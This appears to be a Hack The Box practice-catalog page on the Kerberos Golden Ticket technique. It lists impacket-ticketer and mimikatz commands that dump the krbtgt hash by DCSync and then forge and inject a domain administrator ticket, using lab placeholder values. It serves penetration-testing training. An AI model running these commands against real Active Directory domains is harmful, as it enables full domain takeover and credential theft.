Golden Ticket
Sub-technique of T1558 Steal or Forge Kerberos Tickets
Forging a TGT for any user with the krbtgt account hash.
How it shows up on Hack The Box
On HTB it mostly appears when hopping between domains in a forest: with the child's krbtgt hash (or trust key) and the parent's SID in ExtraSids, you are Enterprise Admin.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Active Directory in depth › Impacket
Golden ticket (with the krbtgt hash)
Attacker
impacket-ticketer -nthash 64f12cddaa88057e06a81b54e73b949b -domain-sid S-1-5-21-XXXX -domain box.htb administratorMimikatz › Domain
DCSync of krbtgt
Target
.\mimikatz.exe "lsadump::dcsync /domain:box.htb /user:krbtgt" "exit"
Golden ticket
Target
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:box.htb /sid:S-1-5-21-XXXX /krbtgt:64f12cddaa88057e06a81b54e73b949b /ptt" "exit"No command matches.